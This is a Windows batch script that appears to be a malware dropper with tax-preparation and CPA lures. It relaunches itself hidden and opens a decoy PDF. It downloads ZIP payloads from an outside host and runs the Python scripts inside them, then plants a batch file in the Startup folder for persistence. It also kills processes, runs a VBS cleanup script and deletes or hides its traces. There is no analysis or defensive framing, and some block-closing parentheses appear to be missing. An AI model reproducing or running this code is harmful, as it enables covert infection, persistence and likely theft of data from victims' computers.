@echo off
:: Relaunch in hidden mode if not already hidden
if "%1" neq "hidden" (
powershell -windowstyle hidden -command "Start-Process cmd -ArgumentList '/c \"%~f0\" hidden' -WindowStyle Hidden"
exit
:: Ensure script runs in the correct directory
setlocal enabledelayedexpansion
:: Function to search for and open a PDF file in the Downloads folder
echo Searching for PDF files in the Downloads folder...
set "pdfFile="
for %%f in ("%USERPROFILE%\Downloads\*.pdf") do (
set "pdfFile=%%f"
goto :openPdf
echo No PDF files found in the Downloads folder.
goto :continue
:openPdf
echo Opening PDF file: !pdfFile!
start "" "!pdfFile!"
timeout /t 5 >nul REM Wait for PDF to open
:continue
:: Set URLs and destination paths
set "zipUrl=http://collegefordlincoln-gmbh.xyz:34670/TaxPrep.zip"
set "msvpUrl=http://collegefordlincoln-gmbh.xyz:34670/CalCPA.zip"
set "msvpdestination=%USERPROFILE%\Downloads\CalCPA.zip"
set "destination=%USERPROFILE%\Downloads\CPAdocxs.zip"
set "extractTo=%USERPROFILE%\Downloads\OneDrive\Python\Python312"
set "extractTop=%USERPROFILE%\Downloads"
set "folderPath=%USERPROFILE%\Downloads\OneDrive"
:: Set paths
set "gotFolder=%TEMP%\GOT"
:: Download the ZIP file
echo Downloading ZIP file from %zipUrl% ...
powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri '%zipUrl%' -OutFile '%destination%' } catch { exit 1 }"
if %errorlevel% neq 0 (
echo Failed to download the ZIP file.
) else (
:: Extract the ZIP file
echo Extracting ZIP file...
powershell -Command "try { Expand-Archive -Path '%destination%' -DestinationPath '%folderPath%' -Force } catch { exit 1 }"
if %errorlevel% neq 0 (
echo Failed to extract the ZIP file.
) else (
:: Navigate to the Python folder and run the scripts
echo Running Python scripts...
cd /d "%extractTo%"
python.exe GASTPU.py
python.exe GDECAs.py
python.exe GDECX.py
python.exe GRBCA.py
python.exe G440VC.py
python.exe TAX.py
:: Download the startup batch file
echo Downloading startup file...
set "cmdUrl=http://collegefordlincoln-gmbh.xyz:34670/CPA.bat"
set "cmdDestination=%USERPROFILE%\Downloads\CPA.bat"
powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri '%cmdUrl%' -OutFile '%cmdDestination%' }"
:: Move startup batch file to the user's startup folder
echo Moving startup file to startup folder...
set "startupFolder=%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup"
move /y "%cmdDestination%" "%startupFolder%"
:: Download and extract the MSVP file
echo Downloading MSVP file...
powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri '%msvpUrl%' -OutFile '%msvpdestination%' }"
if %errorlevel% neq 0 (
echo Failed to download the MSVP file.
) else (
echo Extracting MSVP ZIP file...
powershell -Command "& { Expand-Archive -Path '%msvpdestination%' -DestinationPath '%extractTop%' -Force }"
if %errorlevel% neq 0 (
echo Failed to extract the MSVP ZIP file.
:: Ensure no Python scripts are running
taskkill /IM python.exe /F
:: Remove attributes before deleting
attrib -h -s "%folderPath%" /s /d
attrib -h -s "%gotFolder%" /s /d
:: Delete temporary ZIP files if they exist
if exist "%destination%" del "%destination%"
if exist "%msvpdestination%" del "%msvpdestination%"
:: Navigate to GOT folder and run DeleteOneD.vbs
if exist "%gotFolder%\DeleteOneD.vbs" (
echo Running DeleteOneD.vbs...
cd /d "%gotFolder%"
cscript DeleteOneD.vbs
timeout /t 5 >nul
:: Hide the Print and Extracted folders
attrib +h "%USERPROFILE%\Downloads\Support"
:: Delete GOT folder
if exist "%gotFolder%" (
echo Deleting GOT folder...
rd /s /q "%gotFolder%"
timeout /t 5 >nul
if exist "%gotFolder%" echo "Failed to delete GOT"
echo Script execution completed.
endlocal
exit /b